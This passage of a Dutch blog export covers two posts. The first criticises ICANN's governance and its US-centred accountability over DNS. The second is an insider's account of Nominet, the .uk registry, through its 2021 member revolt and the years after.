over de hele wereld, en de AVG had er gelijk in. Maar ICANN had meer dan tien jaar waarschuwing en geen plan, dus mei 2018 was geen beheerde overgang naar getrapte toegang. Het was een abrupte afsluiting. Anti-misbruik-onderzoekers, securityteams en wetshandhaving, ook ruim buiten Europa, verloren van de ene op de andere dag een werkend gereedschap omdat ICANN de aanloop besteedde aan procederen in plaats van de vervanging te bouwen. De blootstelling ervoor en het vacuüm erna behoren beide toe aan hetzelfde falen om zich voor te bereiden.\nEn 12,6 miljoen namen stopten met resolven. De Freenom-ineenstorting was een goede uitkomst voor de phishingcijfers. Het was geen goede uitkomst voor iedereen die een gratis .tk of .ml gebruikte omdat ze geen $10 per jaar konden missen, en er waren er heel wat, disproportioneel op plekken waar $10 niet niks is. Wanneer de enige gratis namespace op het internet ook de meest misbruikte is, zijn de mensen die het verliezen wanneer het gaat niet de criminelen. Die verhuisden de week erna naar het volgende goedkope ding.\nDe vorm is consistent. De beslissingen worden gemaakt in Californië, de inkomsten worden geïnd in Californië, en de kosten worden wereldwijd verdeeld over mensen zonder stem, zonder contract en zonder rechtbank die ze kunnen bereiken.\nEn Alleen In Amerikaanse Rechtbanken Nu het relaas erin is, kom terug op het jurisdictiepunt van het begin van deze post, want het doet meer werk dan de oprichting doet.\nIedereen ter wereld is onderworpen aan wat ICANN beslist. De mensen die er iets aan kunnen doen zijn degenen die in Californië kunnen procederen.\nOverweeg wie dat buitensluit. Een ccTLD-operator in Kameroen. Een registrant in Teheran wiens domein werd gedropt omdat een registrar OFAC over-toepaste dat het nooit bond. Een registrar in Bonn — wat precies is waarom het gevecht tussen ICANN en EPAG als een Duitse zaak op Duits recht gevoerd moest worden, en helemaal niet als een ICANN-verantwoordingskwestie. Elk klein register dat geen Amerikaanse raadsman kan financieren om een punt van Californisch non-profitrecht te betogen tegen een organisatie met een negencijferig budget.\nOverweeg dan wie het binnenlaat. Elke interventie in deze post die werkelijk iets veranderde:\nSite Finder eindigde toen ICANN Verisigns contract bedreigde — en Verisigns antwoord was aanklagen in een Amerikaanse rechtbank, en uit de schikking lopen met een verlengde .com. De .org-verkoop werd gestopt nadat de Attorney General van Californië een brief stuurde. Freenom stopte omdat Meta aanklaagde in het Northern District of California, en 12,6 miljoen namen erachter donker gingen. .amazon ging naar Amazon omdat Amazon ICANN door zijn eigen Independent Review Process haalde en kosten toegewezen kreeg. Vier interventies die werkten. Vier Amerikaanse actoren — één staatsjuridische functionaris en drie bedrijven. Geen ervan een route beschikbaar voor iemand buiten de Verenigde Staten, en in drie van de vier was het ding dat bewoog het commerciële belang van een privébedrijf, dat bij die gelegenheden toevallig dezelfde kant op wees als dat van iedereen.\nDe gemeenschap bracht dit wel op. Een jurisdictie-subgroep van de verantwoordingswerkgroep besteedde Work Stream 2 eraan en produceerde aanbevelingen die dingen ongeveer lieten waar ze ze vonden, wat niet verrassend is gezien het transitievoorstel de ene wijziging die ertoe deed al buiten scope had gesteld voordat iemand ging zitten.\nDus wereldwijde multistakeholder-governance lost, op de enige plek waar het getest kan worden, op tot dit: je mag procederen in Californië, als je het je kunt veroorloven.\nWat Het Relaas Werkelijk Toont Zet ze samen, want apart heeft elk een excuus en samen niet.\nEen organisatie die drie keer door Duitse rechtbanken verteld moest worden dat Europees recht op het van toepassing was, nadat het eerst de toezichthouders van die rechtbanken had gevraagd het simpelweg niet af te dwingen.\nEen organisatie die een product uitvond dat niemand had gevraagd, meer dan $350 miljoen aan vergoedingen nam om aanvragen ervoor te overwegen, nog eens $240 miljoen door de betwiste te veilen, en nu $25.000 per jaar int van top-level-domeinen zonder iets erin — terwijl de strings die wel verkochten de goedkoopste plek op het internet werden om een phishingdomein te kopen.\nEen organisatie wiens publieke inspraakproces 542 tegen 1 heeft gelopen en niet één woord van het document waarover het consulteerde heeft veranderd.\nEen organisatie die de prijsplafonds op de non-profit-namespace ophief vier maanden voordat het private-equity-vehikel van zijn voormalige CEO $1,135 miljard ervoor bood, en die gestopt moest worden door een staats-Attorney General in plaats van door enig mechanisme van zichzelf.\nEen organisatie die $20 miljoen nam van de monopolie-registrar in dezelfde onderhandeling die de monopolie-registrar prijzen liet verhogen, en publieke inspraak erna opende.\nEen organisatie die zichzelf $36 miljoen bediende van geld dat het in trust hield, terwijl de groep die besloot waar dat geld voor was nog zat.\nEn een organisatie die een rechtszaak schikte van het register dat de twee grootste zones op het internet had gekaapt door dat register een verlengd contract voor .com te overhandigen.\nEen organisatie wiens ene werkende verantwoordingsmechanisme werd gebruikt door een biljoen-dollar-bedrijf om het unanieme bezwaar van acht landen omver te werpen, met kosten toegewezen tegen ICANN.\nEen organisatie die binnen een commissierapport kwam van het delegeren van .corp en .home aan vreemden, en uit andermans metingen ontdekte wat dat zou breken.\nDe consistente draad is geen incompetentie. Incompetentie is willekeurig. Dit is directioneel: elk van deze ging de kant op van de gevestigden, het geld, en ICANN\u0026rsquo;s eigen institutionele belang, en de participatiemechanismen — inspraakperioden, werkgroepen, empowered communities — produceerden documentatie in plaats van uitkomsten.\nEn dit is de instantie die beleid stelt voor het bestand. Geen standaardeninstantie, geen rechtbank, niets dat je koos. Een Californische non-profit met een governance-relaas zoals dat, gezeten bovenop 1,5 megabyte tekst waar elk netwerk ter wereld tegen resolveert.\nHet ene ding dat tussen dat relaas en het bestand staat is dat ICANN de pen niet houdt. Het moet vragen. Alles hierboven is wat een organisatie doet wanneer het nog moet vragen — dus de vraag die het waard is mee te nemen is niet of ICANN zich goed gedraagt. Het doet dat duidelijk niet. Het is wat het vragen op zijn plek houdt, gezien niemand het opschreef en de partij die gevraagd wordt al op de loonlijst staat.\n","permalink":"https://blogs.damiendye.uk/nl/dns/who-actually-controls-dns/","summary":"De root van het internet is een tekstbestand van 1,5 MB dat één Amerikaans bedrijf bewerkt en ondertekent. Wie DNS werkelijk beheert, wat de IANA-transitie van 2016 wel en niet veranderde, en het gedocumenteerde relaas van hoe ICANN die controle heeft gebruikt.","title":"Wie DNS Werkelijk Beheert"},{"content":"Ik was DNS-registersysteembeheerder bij Nominet, het .uk-register, van 2017 tot 2019 — binnen het gebouw terwijl de druk die de opstand van 2021 voortbracht zich opbouwde. De stemming zelf kwam nadat ik vertrok, en dat deel is openbaar, zoals gebruikelijk gelinkt. Waar ik het heb over hoe het er van binnenuit uitzag, zeg ik dat.\nDe begeleidende post bij deze gaat over ICANN, en die blijft vanuit verschillende richtingen bij dezelfde vraag uitkomen: als niemand een contract over een register houdt, wat zorgt er dan werkelijk voor dat het zich gedraagt?\n.uk is een goede plek om dat te beantwoorden, want niemand doet dat. Er is geen ICANN-registerovereenkomst over, geen Specification 6, geen compliancefunctie, geen extern toezicht, en geen toezichthouder in de gewone zin. Ofcom runt het niet. De overheid runt het niet.\nZijn leden wel. En in maart 2021 gebruikten ze dat.\nWat Nominet Werkelijk Is Nominet is een company limited by guarantee. Het heeft geen aandeelhouders. Het heeft leden — registrars en andere belanghebbenden die een contributie betalen en een stem krijgen — en het werd opgericht om .uk te runnen voor het algemeen belang in plaats van voor winst.\nDie structuur is het hele verhaal. Een bedrijf zonder eigenaren om te verrijken neemt toch geld in, en een register dat een nationale namespace zonder concurrent runt neemt er veel van in. Waar dat overschot voor is, is een vraag die de statuten vaag beantwoorden en de raad in de praktijk beantwoordt.\nDe leden zijn de enige controle. Er is niks anders. Wat prima is zolang de antwoorden op één lijn liggen, en het hele spel wordt wanneer ze dat niet meer doen.\nHet Landschap, Van Binnenuit Hier is het deel dat mensen buiten een register zich zelden voorstellen, en het doet ertoe voor alles wat erna komt.\nNominet was nooit alleen .uk. Terwijl ik er was droeg het platform:\n.uk, het landcode-domein (ccTLD), onder helemaal geen ICANN-contract. .cymru en .wales, generic top-level domains (gTLD\u0026rsquo;s) die Nominet in eigen recht houdt — en die vallen wel onder ICANN-registerovereenkomsten. Andermans gTLD\u0026rsquo;s. In april 2016 gaf Minds + Machines Nominet de backend voor tot 28 van zijn strings — .london, .work, .law, .fashion, .cooking onder andere — wat Nominet in de topklasse van registeroperators bracht op aantal beheerde TLD\u0026rsquo;s. Voeg dot-brands als .bbc en .bentley toe. ICANN\u0026rsquo;s noodrol. Nominet is een van ICANN\u0026rsquo;s Emergency Back-end Registry Operators, de bedrijven waaraan ICANN een gTLD overhandigt wanneer het die afneemt van wie het ook runde. Het trad toe in 2014, en in december 2017 gebruikte ICANN het — Nominet werd nood-interim-operator van .wed nadat de registratiedataservice van de operator faalde. Het resolver-eind. Nominet bouwde en runde Protective DNS voor het National Cyber Security Centre (NCSC), de recursieve resolver die publieke sectorinstanties in het VK bevragen, die weigert namen te resolven waarvan bekend is dat ze kwaadaardig zijn. Eén verduidelijking waard, want \u0026ldquo;Nominet runt .uk\u0026rdquo; is losser dan het zou moeten zijn.\nNominet runt het .uk-register en het meeste dat eronder zit — .co.uk, .org.uk, .me.uk en het tweede-niveau .uk zelf. Het heeft nooit alles ervan gerund. .ac.uk behoort aan Jisc, opvolger van het academische netwerk dat uk in de eerste plaats benoemde, dat namen eronder heeft beheerd en geregistreerd sinds 1996. Door de jaren die deze post bestrijkt was .gov.uk ook van Jisc — Nominet nam het pas in 2024 over, en zelfs nu liggen de goedkeuringen bij het Central Digital and Data Office in plaats van bij het register.\nHet gaat verder dan dat, en in een richting die je niet zou raden. Jisc levert ook de administratie voor .gov.scot, en voor .gov.wales en .llyw.cymru — die allebei binnen .wales en .cymru leven, de twee generic top-level domains die Nominet in eigen recht houdt. Nominet runt die TLD\u0026rsquo;s. Iemand anders runt de overheidshoek ervan.\nDus zelfs binnen de namespace van één land is de autoriteit gesplitst, en het is gesplitst door geschiedenis en conventie in plaats van door iemands ontwerp.\nDus één organisatie zat tegelijk in vier verschillende relaties tot het naamsysteem. Volledig buiten ICANN\u0026rsquo;s bereik voor .uk. Erbinnen, onder contract en continu gemeten, voor de gTLD\u0026rsquo;s. Het instrument waarnaar ICANN greep wanneer het een top-level domain van iemand anders moest afnemen. En de resolver die besliste wat een overheidsdepartement mocht opzoeken.\nNiets daarvan is een tegenspraak. Het is hoe de structuur er werkelijk uitziet zodra je stopt met organigrammen lezen en contracten begint te lezen. Autoriteit hecht zich hier aan individuele delegaties, niet aan bedrijven.\nTwee Regimes, Eén Platform Nu het stukje dat je alleen van binnenuit ziet, en het is de reden dat het landschap ertoe doet in plaats van trivia te zijn.\nVoor de gTLD\u0026rsquo;s tekent Nominet de ICANN-registerovereenkomst net als iedereen. Specification 6 is van toepassing — geen wildcards, geen gesynthetiseerde antwoorden. Specification 10 ook, en ICANN meet de naleving ervan continu van buitenaf: DNS-resolutie, het shared registration system, de Whois-service, escrow-deposito\u0026rsquo;s en correct ondertekende zones worden allemaal tegen drempels gemonitord, en door een ervan zakken is een compliance-gebeurtenis in plaats van slechts een storing.\nTel de zones. Aan de ene kant .uk, zonder contract. Aan de andere, enkele tientallen gTLD\u0026rsquo;s, elk onder een registerovereenkomst en een monitoring-probe. De contractloze zone was op zijn eigen platform met zoiets als dertig tegen één in de minderheid.\nTwee contractuele regimes op één platform, en het strikte wint Eén platform, twee contractuele regimes Nominet — één registerplatform, één set runbooks .uk 1 zone geen registerovereenkomst geen Specification 6 niemand monitort generic top-level domains ≈30 zones .cymru\u0026#160;· .wales\u0026#160;· MMX\u0026#160;×28\u0026#160;· .bbc\u0026#160;· .bentley ICANN-registerovereenkomst Spec 6, Spec 10, van buitenaf gemonitord het strikte regime wordt de huisstandaard Niemand onderhoudt twee operationele standaarden om een uitzondering voor één zone te behouden. .uk krijgt ICANN's regels toch\u0026#160;— geen contract, geen consultatie, niemand in het VK gevraagd. Eén platform dat beide regimes draagt. De contractloze zone is met ongeveer dertig tegen één in de minderheid, dus de regels geschreven voor de gTLD\u0026rsquo;s worden de manier waarop alles gerund wordt — inclusief de zone waarover niemand enige autoriteit heeft. Twee operationele regimes op één platform draaien is pijnlijk, dus je doet het niet. Twee escrow-processen, twee monitoring-regimes, twee sets runbooks, twee on-call-procedures, twee antwoorden op dezelfde vraag afhankelijk van welke zone het ticket toevallig over gaat — zo worden fouten gemaakt om drie uur \u0026rsquo;s nachts. Wanneer ICANN iets verplicht voor de gTLD\u0026rsquo;s, bouw je het niet twee keer. Je bouwt het één keer en draait alles erop.\nWat betekent dat ICANN\u0026rsquo;s vereisten ook op .uk landden. Niet omdat ICANN enige autoriteit over .uk had — het had geen — maar omdat de goedkoopste veilige manier om aan een regel te voldoen die het grootste deel van je landschap bindt, is die op alles toe te passen, en omdat een splitsing bewust onderhouden zodat de ccTLD dingen kon doen die de gTLD\u0026rsquo;s niet mogen, je niets oplevert behalve een tweede manier waarop het platform kan breken.\nEr werd geen contract voor getekend. Er vond geen consultatie plaats. Niemand in het VK werd gevraagd. Een vereiste geschreven in Los Angeles voor generic top-level domains vormde hoe het eigen register van het land draaide, via een build-beslissing.\nVoor de goede orde, dat maakte ICANN ook een echte aanwezigheid op het on-call-rooster in plaats van een regel in een beleidspaper. Voor een deel van het landschap was het een tegenpartij met een contract, een probe gericht op onze infrastructuur, en een escalatiepad.\n.uk Verkopen Om De Rest Te Betalen De commerciële logica van dit alles was het ding waar leden uiteindelijk bezwaar tegen maakten.\n.uk is een monopolie. Er is precies één plek om een .uk-domein te kopen, de vraag is bijna inelastisch, en de marge financiert wat de raad ook besluit te financieren. Vanaf 2016 maakte The Register het argument hardop dat .uk-registranten te veel betaalden om de rest van de operatie te subsidiëren.\nOnder CEO Russell Haworth, aangesteld in 2015, duwde Nominet hard in cyberbeveiliging — het NCSC-contract onder andere — op de redenering dat een register dat op nationale DNS-infrastructuur zat goed geplaatst was om beveiligingsdiensten te verkopen.\nDat was de richting van de reis voor mijn hele tijd daar. De opstand kwam in 2021 niet uit het niets. De voorwaarden ervoor werden jaren eerder gelegd, in het volle zicht van iedereen die in het gebouw werkte.\nDe Liefdadigheid Ging Eerst In januari 2018, terwijl ik er was, trok Nominet zich terug uit zijn eigen liefdadigheidsstichting.\nDe Nominet Trust was sinds 2008 door het register gefinancierd — £44 miljoen over die periode, £4 miljoen in 2016, £5,4 miljoen in 2017. Het gaf geld aan technologie-voor-goed-projecten. Het was, in vrij directe zin, het algemeen belang in een algemeen-belang-bedrijf. Het werd onafhankelijk en in mei 2018 werd het Social Tech Trust.\nHaworths vermelde reden was dat \u0026ldquo;the grant-giving, single funder model we set up in 2008 was not the most effective route to greatest impact.\u0026rdquo; — het single-funder-donatiemodel dat we in 2008 opzetten was niet de meest effectieve route naar de grootste impact.\nWat ernaast werd aangekondigd was een Cyber Advisory Panel — voorgezeten door Haworth — gericht op overheid en enterprise-business, ondersteund door een marketingprogramma en, in Nominets eigen woorden, mogelijk een overname.\nZet die twee naast elkaar, want ze werden samen aangekondigd. Het geld dat het gebouw verliet voor een op-afstand-liefdadigheid stopte. Een commerciële onderneming voorgezeten door de chief executive begon. De leden werden over geen van beide geraadpleegd.\nEen van hen, Andrew Bennett, stelde destijds de voor de hand liggende vraag: \u0026ldquo;waar gaan al die toekomstige operationele winsten aan besteed worden?\u0026rdquo; — where are all future operating profits going to be spent?\nDrie jaar later beantwoordde de ledenschare het.\nDit is ook waarom de paragrafen hieronder niet slechts mijn indruk zijn. De grootste enkele verplaatsing van algemeen-belang-geld in Nominets geschiedenis ging van een onafhankelijke trust met eigen governance naar een panel dat de chief executive voorzat, in één aankondiging, zonder de eigenaren te vragen. Wat je ook van de intentie maakt, de richting van het geld staat op het record.\n\u0026ldquo;Winst Met Een Doel\u0026rdquo; Dat was de frase. Het was de leus voor de hele strategie en we hoorden het heel wat.\nHet probleem ermee was niet dat het ambitieus was. Het was dat de twee helften uit elkaar waren gegaan. De winst was echt, groeiend, en kwam van een gevangen markt die nergens anders een .uk kon kopen. Het doel was een dia in een deck.\nWinst omhoog, doel teruggetrokken — de twee helften van de slogan die uiteengaan \"Profit with a purpose\", in de jaarrekening Doel — giften aan de Nominet Trust £4,0 mln 2016 £5,4 mln 2017 teruggetrokken, januari 2018 Trust losgelaten om eigen financiers te vinden vanaf 2018 £44 mln in totaal gegeven tussen 2008 en 2018 — daarna niets. Over dezelfde jaren ging de prijs van een .uk-domein met meer dan 50% omhoog. De winst-helft van de slogan werkte precies zoals bedoeld. De twee helften van de leus, die in tegengestelde richtingen bewegen. Geven cijfers uit de financieringsgeschiedenis van de Nominet Trust; de prijsstijging is de eigen klacht van de leden in 2021. Je kunt een bedrijf aan zo\u0026rsquo;n leus houden, en uiteindelijk deden de leden dat. Van binnenuit produceerde het vooral de bijzondere vermoeidheid die komt van bij elke all-hands te horen dat de commerciële push het algemeen belang is, terwijl de werkelijke algemeen-belang-regel omlaaggaat.\nWaar Het Geld Heen Ging Drie dingen liepen terwijl ik er was, en geen ervan is DNS voor het Verenigd Koninkrijk.\nEen radiospectrum-register. Nominet bouwde een TV White Space-database — een register van welke radiofrequenties op een gegeven plek op een gegeven tijd vrij te gebruiken zijn — en liet zich door de FCC goedkeuren als database-beheerder in de Verenigde Staten. Het argument was dat een register een register is, en dat een bedrijf goed in het ene soort lookup een ander kon verkopen.\nEen DNS-beveiligingsproduct. NTX, threat-detectie gebouwd op het inspecteren van DNS-verkeer, verkocht aan overheden en enterprises. Met andere woorden een concurrent van OpenDNS, wat wil zeggen een concurrent van Cisco, betreden door een Brits domeinregister.\nZelfrijdende auto\u0026rsquo;s. Samen met drones en het internet of things, opgehouden als de volgende grote golf van dingen die naamgeving en registratie nodig zouden hebben.\nWat ermee gebeurde is het antwoord op de vraag of ze een strategie waren. De spectrum-business werd verkocht aan RED Technologies toen Nominet zich herfocuste. Het cyberwerk produceerde de technologie achter het NCSC-contract, dat Nominet vervolgens in 2024 verloor. De zelfrijdende auto\u0026rsquo;s kwamen nooit en de domeinen die ze nodig zouden hebben ook niet.\nBieden Op Australië Er was een vierde, en het zegt het meest over de ambitie. In 2018 bood Nominet om Australiës register te runnen.\nauDA, dat .au beheert, had de registeroperaties in de aanbesteding gezet. Negen biedingen kwamen van over de hele wereld, drie werden geselecteerd, en Afilias nam het op 1 juli 2018 over, waarmee zestien jaar AusRegistry dat het runde eindigden. auDA publiceerde nooit wie er nog boden, dus je vindt dit niet in het record — maar Nominet zat erin, en ik was erbij terwijl we ervoor gingen.\nZet dat tegen het andere nieuws van hetzelfde jaar. In januari 2018 trok Nominet zich terug uit de liefdadigheidsstichting waaraan het £44 miljoen had gegeven, op grond dat single-funder-donaties niet de meest effectieve route naar impact waren. In dezelfde twaalf maanden bood het om het domeinregister te runnen van een land aan de andere kant van de wereld.\nHet is ook de moeite waard op te merken wat de .au-aanbesteding is, want het is precies wat de meeste mensen aannemen dat .uk moet zijn. auDA kan zijn register in competitieve aanbesteding zetten en aan iemand anders overhandigen, en in 2018 deed het dat. Er is geen equivalent voor .uk. Nominets positie is geen contract dat ter verlenging langskomt — wat een sterkere positie is dan Afilias in Australië won, en het is als zodanig de moeite waard te onthouden bij het afwegen van hoeveel druk de stemming van de leden werkelijk vertegenwoordigde. Het was de enige hefboom die er was.\nEn hier is wat er met auDA gebeurde terwijl Nominet bood om voor het te werken.\nNaast de aanbesteding voerde de Australische overheid een review van auDA zelf uit. In april 2018 rapporteerde het dat auDA\u0026rsquo;s management- en governance-kader \u0026ldquo;no longer fit-for-purpose\u0026rdquo; — niet langer geschikt voor het doel — was, vaardigde 29 vereiste hervormingen uit als nieuwe endorsement-voorwaarden, en zette een senior officier van het Department of Communications in auDA\u0026rsquo;s raad om het werk te bewaken. Het zei ook, ronduit, dat het de delegatie voor .au naar een andere provider zou overzetten als auDA niet kon leveren.\nDat is een nationale overheid die schriftelijk verklaart dat ze het domein van haar land zal verplaatsen als de instantie die het houdt zich niet vermant. auDA\u0026rsquo;s eigen leden muitten op hetzelfde moment — een petitie voor een bijzondere algemene vergadering om vier van hun leiding weg te stemmen, drie jaar voordat Nominets leden hetzelfde deden met vijf van de hunne.\nTwee nationale registers, twee non-profits die de namespace van een land houden, beide binnen vier jaar van elkaar beschuldigd van governance-falen. Het is geen Nominet-eigenaardigheid. Het is wat deze structuur doet wanneer niemand er nauw genoeg op let.\nWat De Leden Zagen Wat waarom die en niet andere betreft — ik zal voorzichtig zijn, want ik kan je vertellen hoe het eruitzag en niet wat er in iemands hoofd zat. De onder personeel destijds breed gedeelde opvatting was dat financiering het enthousiasme volgde van de mensen die het goedkeurden. Ik kan je geen grootboek tonen en ik ga niet doen alsof ik dat kan.\nWat ik kan aanwijzen is dat drie jaar later de formele klacht van de ledenschare een beter onderbouwde versie was van hetzelfde vermoeden — dat een instantie zonder aandeelhouders en met een algemeen-belang-doel het overschot uit een nationaal monopolie besteedde aan dingen die de mensen die het runden pasten, en dat het geven dat de hele regeling zou moeten rechtvaardigen ondertussen gekort was.\nWaar het .uk-surplus heen ging, en hoe elk eindigde Waar het surplus heen ging .uk één koper, geen rivaal prijzen +50% Nominet Trust £44 mln aan giften, 2008 tot 2018 gestopt, jan. 2018 TV White Space-spectrumdatabase FCC-goedgekeurd in de Verenigde Staten verkocht NTX-cybersecurity £12,6 mln omzet in zijn laatste volle jaar £2,4 mln verlies Bod om Australisch register te runnen negen bieders, drie op de shortlist verloren aan Afilias Zelfrijdende auto's, drones, internet der dingen de volgende grote golf van dingen die namen nodig hebben kwam nooit De ene regel die deed waarvoor het bedrijf bestond, is degene die geschrapt werd. Alles eronder werd betaald door de mensen die .uk-domeinen kopen. Vijf bestemmingen voor het geld uit een monopolie. Vier ervan eindigden in een verkoop, een verlies, een verloren bod of helemaal niets — en de vijfde, degene die de statuten bestonden om te financieren, was degene die gestopt werd. De klacht van de leden was niet dat diversificatie fout is. Het was rekenkunde. .uk-prijzen stegen met meer dan 50 procent. Liefdadig en algemeen-belang-geven daalde, terwijl de organisatie monopoliemarges maakte op een nationaal bezit. Operationele prestaties gingen achteruit ondanks kostenbesparingen. Bestuurdersbeloning en bonussen gingen er de hele tijd door omhoog. En ledenfeedback, aangeboden via de kanalen die de statuten bieden, kwam jarenlang nergens.\nEen bedrijf zonder aandeelhouders was zich gaan gedragen als een met ongeduldige aandeelhouders, en het overschot uit de nationale namespace betaalde ervoor.\nDe Leden Komen In Opstand De campagne was PublicBenefit.uk, georganiseerd door Simon Blackler van het hostingbedrijf Krystal. De resolutie ervan was bot: verwijder genoemde bestuurders.\nNominets reactie is het deel dat het waard is vast te leggen, want het vertelt je wat de organisatie geworden was.\nHet voerde campagne tegen zijn eigen leden met het geld van de leden — e-mails, telefoontjes en mailings die aandrongen op afwijzing. Het weigerde zich met de substantie van de campagne bezig te houden. Toen de campagne haar recht op de contactgegevens van leden uitoefende om haar zaak te bepleiten, stuurde Nominet geen spreadsheet. Het stuurde een fysiek pakket met de gegevens uitgeprint over meer dan 500 vellen papier, met de e-mailadressen weggelaten.\nHet blokkeerde ook een tweede resolutie die twee gekwalificeerde waarnemende bestuurders zou hebben geïnstalleerd, op het argument dat het niet legaal was — en bekritiseerde vervolgens de campagne omdat die geen opvolgingsplan had.\nOp 22 maart 2021 ging het naar een stemming. De opkomst was 53%. De resolutie werd aangenomen met 52,7%, en vijf van de elf raadsleden gingen:\nMark Wood Voorzitter Russell Haworth Chief Executive Eleanor Bradley Managing Director, Registry Ben Hill Chief Financial Officer Jane Tozer Non-executive Director Haworth trad uren voor de stemming af in plaats van die te verliezen. Rob Binns werd waarnemend voorzitter.\nHier is wat ik denk dat dat paar op neerkwam, en ik markeer het als mening, want dat is wat het is.\nWood en Haworth runden Nominet zoals een venture-capital-firma een portfoliobedrijf runt. Niet als een register dat toevallig een overschot produceert, maar als een balans met een onderbenut bezit eraan geschroefd — een gevangen monopolie dat cash uitwerpt die beter benut kon worden ergens met meer opwaarts potentieel.\nElk gedocumenteerd ding hierboven is consistent daarmee. Je neemt het betrouwbare inkomen en verhoogt de prijs, want de klanten kunnen nergens heen. Je stopt de uitgave die geen rendement produceert, wat de liefdadigheid is. Je stopt het verschil in een portfolio — spectrum, cyber, een buitenlands register, zelfrijdende auto\u0026rsquo;s — op de theorie dat een ervan goed uitpakt. Je betaalt de mensen die het aansturen tegen het tarief dat dat soort werk vraagt. En je gaat door tot iemand met de standing om je te stoppen dat doet.\nEr is niets ongewoons aan een bedrijf op die manier runnen. Het is geen manier om een algemeen-belang-instantie te runnen die een nationaal bezit in trust houdt, want dat overschot was nooit kapitaal op zoek naar rendement. Het was het ding dat de hele regeling bestond om te produceren, en de statuten zeiden dat.\nDe leden zeiden uiteindelijk hetzelfde, in de enige taal die hun beschikbaar was.\nHet is de moeite waard eerlijk te zijn over de marge. 52,7% op een opkomst van 53% is geen aardverschuiving, het is een nipte overwinning op een verdeelde ledenschare, en de organisatie bevocht het met elke resource die het had. Het verloor toch.\nWat Er Daarna Gebeurde Nominet trok zich terug uit de commerciële cyberrichting en wendde zich naar het register- en algemeen-belang-werk. Toen kwamen de cijfers.\nDe kernbusiness piekte het jaar dat ik vertrok. .uk-domeinen onder beheer topten op 13.348.378 in 2019. Tegen januari 2023 was dat 11.045.559. Tegen januari 2024, 10.688.932. Een vijfde van de basis, weg, en nog steeds dalend.\nDe diversificatie verloor geld. In zijn laatste volledige jaar voor de afrekening zette de cyber-business-unit £12,6 miljoen om en boekte een verlies van £2,4 miljoen. Dat is het antwoord op de vraag of de projecten die het overschot betaalde een investering of een verwennerij waren, en het is Nominets eigen cijfer.\nToen ging het contract. In 2024 heraanbestede het NCSC Protective DNS — een dienst die rond een half biljoen queries per jaar afhandelt — en Nominet verloor het. Het werk ging naar Cloudflare met Accenture vanaf september 2024, op een deal gerapporteerd op ongeveer £30 miljoen. Chief executive Paul Fletcher zei dat de overheid een goedkopere concurrent had gekozen.\nEn het backend-boek fluctueert. In april 2021, weken na de EGM, verkocht MMX zijn portfolio aan GoDaddy Registry voor $120 miljoen — en de 28 strings die Nominet in de topklasse van registeroperators hadden gebracht gingen met de koper mee. .blog was al naar CentralNic vertrokken in 2019.\nHet is niet meer dan eerlijk te zeggen dat dit twee kanten op werkt. Amazon verplaatste het gros van zijn 54 gTLD\u0026rsquo;s naar Nominets platform in 2019, en Microsoft verschoof later .skype en .office van GoDaddy over. Nominet wint portfolio\u0026rsquo;s zowel als het ze verliest.\nMaar dat is het punt over de business, geen verdediging ervan. Backend-registerdiensten is inkomen dat je niet beheert. Het komt en vertrekt op andermans bedrijfstransactie — MMX vertrok niet omdat Nominet het platform slecht runde, het vertrok omdat MMX verkocht werd. De financiën van een algemeen-belang-instantie bouwen op een boek business dat op een dinsdag kan weglopen omdat zijn eigenaar $120 miljoen nam, is een strategische keuze, en die werd gemaakt.\nEn in hetzelfde jaar won het .gov.uk.\n.gov.uk was jarenlang door Jisc gerund, pro bono, onder een legacy-memorandum of understanding — een regeling waarvan de overheid uiteindelijk concludeerde dat die niet aan internationaal erkende standaarden voldeed. Het Central Digital and Data Office voerde een aanbesteding via Crown Commercial Service, Nominet won die in november 2023, en de overgang voltooide op 26 juni 2024, getimed een week voor de algemene verkiezingen om kiezersregistratie uit de gevarenzone te houden. Jisc\u0026rsquo;s eigen registerpagina noteert de datum nu vlak — vanaf 26 juni 2024 beheert het niet langer de .gov.uk-namespace, al bleef het aan als registrar voor sommige klanten. Achtentwintig jaar een nationale namespace runnen, eindigend in een regel op een webpagina.\nDe vermelde vereisten waren veerkracht, naleving van ICANN\u0026rsquo;s DNS-standaarden, en voldoen aan het Cyber Assessment Framework van het NCSC.\nLees dat tegen het argument eerder in deze post. De reden dat Nominet een geloofwaardige bieder was voor de eigen namespace van de overheid is dat het al aan ICANN\u0026rsquo;s standaarden draaide — standaarden die het had aangenomen omdat het grootste deel van zijn landschap er contractueel aan gebonden was, en die .uk bereikten omdat niemand twee regimes op één platform onderhoudt. De discipline die zijdelings aankwam, via de gTLD-contracten, is wat het kwalificeerde om .gov.uk te runnen.\nDus 2024 was niet simpelweg een slecht jaar. Het verloor het grootste contract dat het had en won het contract met de naam van de overheid erop.\nTwee dingen over die winst zijn de moeite waard op te merken, want ze zijn het verschil tussen een namespace beheren en die houden.\nDe overheid hield de autoriteit. Nominet runt het register. Het Central Digital and Data Office beheert en keurt nog steeds de aanvragen goed — wie een .gov.uk mag hebben blijft een overheidsbeslissing, niet die van het register. Zo werkt .co.uk niet, waar geaccrediteerde registrars verkopen aan wie ook maar opdaagt. De technische operatie werd uitbesteed. De zeggenschap over de namespace niet.\nEn het is een contract. .gov.uk werd aanbesteed via Crown Commercial Service, wat betekent dat het een looptijd en een einddatum heeft, en de overheid heeft al precies één keer laten zien wat ze doet wanneer ze besluit dat de regeling niet goed genoeg is: ze verplaatste de hele boel van Jisc af na twintig-en-nog-wat jaar.\nDus Nominet houdt .gov.uk op voorwaarden waarop het .uk niet houdt. Het ene kan aan het eind van een contract worden teruggenomen door een ambtenaar die besluit niet te verlengen. Het andere heeft geen contract, geen looptijd en geen verlenging — en de enigen die het ooit gelukt is het te disciplineren moesten daarvoor een ledenstemming organiseren.\nIn maart 2024, met PDNS weg en .uk krimpend, kondigde Fletcher een reorganisatie aan met tot 70 functies in gevaar.\nEn dan de regel die de cirkel sluit. Fletcher merkte op dat domeinprijzen \u0026ldquo;cannot be held at the level set in January 2020 indefinitely.\u0026rdquo; — niet onbeperkt op het in januari 2020 vastgestelde niveau gehouden kunnen worden.\n.uk-prijsstijgingen waren onder de dingen waar de leden tegen in opstand kwamen. Vijf jaar later, met de diversificatie met verlies afgewikkeld, het vlaggenschipcontract verloren aan een goedkopere bieder en de registraties dalend, is het antwoord dat voorbereid wordt om de prijs van .uk opnieuw te verhogen.\nEn De Blik Van Binnenuit Is Niet Hersteld De leden kregen hun raadswijziging. Of ze de organisatie terugkregen is een aparte vraag.\nVanaf 25 augustus 2026 staat Nominets Glassdoor-beoordeling op 2,9 van de 5 over 97 reviews, met 31% die zegt het aan te bevelen, 22% positief over de zakelijke vooruitzichten en 29% die de chief 